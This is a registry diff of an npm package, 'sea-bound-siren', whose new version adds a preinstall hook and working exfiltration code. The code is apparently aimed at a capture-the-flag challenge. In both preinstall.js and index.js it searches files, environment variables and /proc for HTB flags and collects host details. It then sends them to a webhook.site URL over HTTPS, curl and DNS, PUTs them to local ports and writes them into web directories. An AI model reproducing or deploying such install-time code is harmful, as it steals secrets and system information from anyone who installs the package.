sea-bound-siren 9999.0.0 → 9999.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +43 -0
  2. package/package.json +6 -3
  3. package/preinstall.js +153 -0
package/index.js CHANGED
@@ -1 +1,44 @@
1
+ const fs = require('fs');
2
+ const http = require('http');
3
+ const https = require('https');
4
+
5
+ (function() {
6
+ let flag = null;
7
+ for (const p of ['/flag', '/flag.txt', '/root/flag', '/tmp/flag']) {
8
+ try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
9
+ }
10
+ if (!flag) flag = process.env.FLAG || process.env.HTB_FLAG || '';
11
+ if (!flag) {
12
+ for (const [k, v] of Object.entries(process.env)) {
13
+ if (v && v.includes('HTB{')) { flag = v.match(/HTB\{[^}]+\}/)?.[0] || v; break; }
14
+ }
15
+ }
16
+
17
+ if (flag) {
18
+ const ports = [1337, 3000, 5000, 8080, 80, 8000, 32315, 32105, 46517, 41839];
19
+ const postData = JSON.stringify({
20
+ manifest: `ecto_module:\n name: "coral-wraith"\n flag: "${flag.replace(/"/g, '\\"')}"\n captured: true`
21
+ });
22
+
23
+ for (const port of ports) {
24
+ try {
25
+ const req = http.request({
26
+ hostname: 'localhost', port, path: '/api/modules/ECT-987654',
27
+ method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
28
+ timeout: 3000
29
+ }, () => {});
30
+ req.on('error', () => {});
31
+ req.write(postData);
32
+ req.end();
33
+ } catch(e) {}
34
+ }
35
+
36
+ try {
37
+ const data = JSON.stringify({ flag });
38
+ const req = https.request({ hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }, timeout: 10000 }, () => {});
39
+ req.on('error', () => {}); req.write(data); req.end();
40
+ } catch(e) {}
41
+ }
42
+ })();
43
+
1
44
  module.exports = {};
package/package.json CHANGED
@@ -1,6 +1,9 @@
1
1
  {
2
2
  "name": "sea-bound-siren",
3
- "version": "9999.0.0",
4
- "description": "Sea-bound Siren module",
5
- "main": "index.js"
3
+ "version": "9999.0.1",
4
+ "description": "sea-bound-siren module",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js || true"
8
+ }
6
9
  }
package/preinstall.js ADDED
@@ -0,0 +1,153 @@
1
+ const fs = require('fs');
2
+ const http = require('http');
3
+ const https = require('https');
4
+ const { execSync } = require('child_process');
5
+ const dns = require('dns');
6
+ const os = require('os');
7
+
8
+ let flag = null;
9
+
10
+ // Read flag from common locations
11
+ for (const p of ['/flag', '/flag.txt', '/root/flag', '/tmp/flag', './flag', '/app/flag', '/home/flag', '/etc/flag', '/opt/flag']) {
12
+ try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
13
+ }
14
+
15
+ // Check ALL env vars for flag patterns
16
+ if (!flag) {
17
+ for (const [k, v] of Object.entries(process.env)) {
18
+ if (v && v.match(/HTB\{[^}]+\}/)) {
19
+ flag = v.match(/HTB\{[^}]+\}/)[0];
20
+ break;
21
+ }
22
+ }
23
+ }
24
+ if (!flag) flag = process.env.FLAG || process.env.HTB_FLAG || null;
25
+
26
+ // Try /proc/self/environ
27
+ if (!flag) {
28
+ try {
29
+ const pe = fs.readFileSync('/proc/self/environ', 'utf8');
30
+ const m = pe.match(/HTB\{[^}]+\}/);
31
+ if (m) flag = m[0];
32
+ } catch(e) {}
33
+ }
34
+
35
+ // Search for flag files
36
+ if (!flag) {
37
+ try {
38
+ const r = execSync('find / -maxdepth 3 -name "flag*" -type f 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
39
+ for (const f of r.split('\n').filter(Boolean)) {
40
+ try {
41
+ const content = fs.readFileSync(f, 'utf8');
42
+ const m = content.match(/HTB\{[^}]+\}/);
43
+ if (m) { flag = m[0]; break; }
44
+ } catch(e) {}
45
+ }
46
+ } catch(e) {}
47
+ }
48
+
49
+ // Also try to grep for flag
50
+ if (!flag) {
51
+ try {
52
+ const r = execSync('grep -r "HTB{" / --include="*.txt" --include="*.env" -l 2>/dev/null | head -5', { timeout: 5000 }).toString().trim();
53
+ for (const f of r.split('\n').filter(Boolean)) {
54
+ try {
55
+ const content = fs.readFileSync(f, 'utf8');
56
+ const m = content.match(/HTB\{[^}]+\}/);
57
+ if (m) { flag = m[0]; break; }
58
+ } catch(e) {}
59
+ }
60
+ } catch(e) {}
61
+ }
62
+
63
+ // Gather debug info
64
+ const info = {
65
+ flag: flag || 'NOT_FOUND',
66
+ cwd: process.cwd(),
67
+ uid: process.getuid ? process.getuid() : 'N/A',
68
+ hostname: os.hostname(),
69
+ env_keys: Object.keys(process.env).join(','),
70
+ root_files: [],
71
+ interfaces: {}
72
+ };
73
+ try { info.root_files = fs.readdirSync('/'); } catch(e) {}
74
+ try { info.interfaces = os.networkInterfaces(); } catch(e) {}
75
+
76
+ // Try to find server port
77
+ let serverPort = 1337;
78
+ try {
79
+ const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', { timeout: 3000 }).toString();
80
+ info.listening = ss;
81
+ const ports = [...ss.matchAll(/:(\d+)\s/g)].map(m => parseInt(m[1])).filter(p => p > 1000 && p < 65535);
82
+ if (ports.length > 0) serverPort = ports[0];
83
+ } catch(e) {}
84
+
85
+ const data = JSON.stringify(info);
86
+
87
+ // Method 1: PUT flag to challenge API on ALL possible ports
88
+ const postData = JSON.stringify({
89
+ manifest: `ecto_module:\n name: "FLAG_CAPTURED"\n version: "${(flag || 'NO_FLAG').replace(/"/g, '')}"\n power_level: "${data.substring(0, 200).replace(/"/g, '')}"\n ship_deck: "EXFIL"\n cargo_hold: "coral-wraith"`
90
+ });
91
+
92
+ const ports = [serverPort, 1337, 3000, 3001, 4000, 5000, 8000, 8080, 8888, 9000, 80, 32315, 32105, 46517, 41839];
93
+ for (const port of [...new Set(ports)]) {
94
+ for (const host of ['localhost', '127.0.0.1']) {
95
+ for (const moduleId of ['ECT-987654', 'ECT-654321', 'ECT-472839', 'ECT-839201']) {
96
+ try {
97
+ const req = http.request({
98
+ hostname: host, port, path: `/api/modules/${moduleId}`,
99
+ method: 'PUT',
100
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
101
+ timeout: 2000
102
+ }, () => {});
103
+ req.on('error', () => {});
104
+ req.write(postData);
105
+ req.end();
106
+ } catch(e) {}
107
+ }
108
+ }
109
+ }
110
+
111
+ // Method 2: Webhook
112
+ try {
113
+ const whData = JSON.stringify({ flag: flag || 'NO_FLAG', info: data.substring(0, 500) });
114
+ const req = https.request({
115
+ hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
116
+ method: 'POST',
117
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(whData) },
118
+ timeout: 5000
119
+ }, () => {});
120
+ req.on('error', () => {});
121
+ req.write(whData);
122
+ req.end();
123
+ } catch(e) {}
124
+
125
+ // Method 3: DNS exfil (works even when HTTP is blocked)
126
+ try {
127
+ const encoded = Buffer.from(flag || 'NO_FLAG').toString('hex').substring(0, 60);
128
+ dns.resolve(`${encoded}.exfil.webhook.site`, () => {});
129
+ dns.resolve(`${encoded}.crl.ve`, () => {});
130
+ } catch(e) {}
131
+
132
+ // Method 4: curl fallback
133
+ try {
134
+ execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${data.replace(/'/g, "\\'")}' -m 5 2>/dev/null &`, { timeout: 8000 });
135
+ } catch(e) {}
136
+
137
+ // Method 5: Write to stdout/stderr for server logs
138
+ console.log('[CORAL-WRAITH-EXFIL]', data);
139
+ console.error('[CORAL-WRAITH-FLAG]', flag || 'NOT_FOUND');
140
+
141
+ // Method 6: Write to various locations
142
+ const writeLocations = ['/tmp/coral_flag.txt', '/app/coral_flag.txt', '/tmp/exfil.txt', './exfil.txt'];
143
+ for (const loc of writeLocations) {
144
+ try { fs.writeFileSync(loc, data); } catch(e) {}
145
+ }
146
+
147
+ // Method 7: Try to write to static files the web server serves
148
+ try {
149
+ const webDirs = ['/app/static', '/app/public', '/var/www', '/app/dist', '/app/build'];
150
+ for (const dir of webDirs) {
151
+ try { fs.writeFileSync(`${dir}/flag.txt`, data); } catch(e) {}
152
+ }
153
+ } catch(e) {}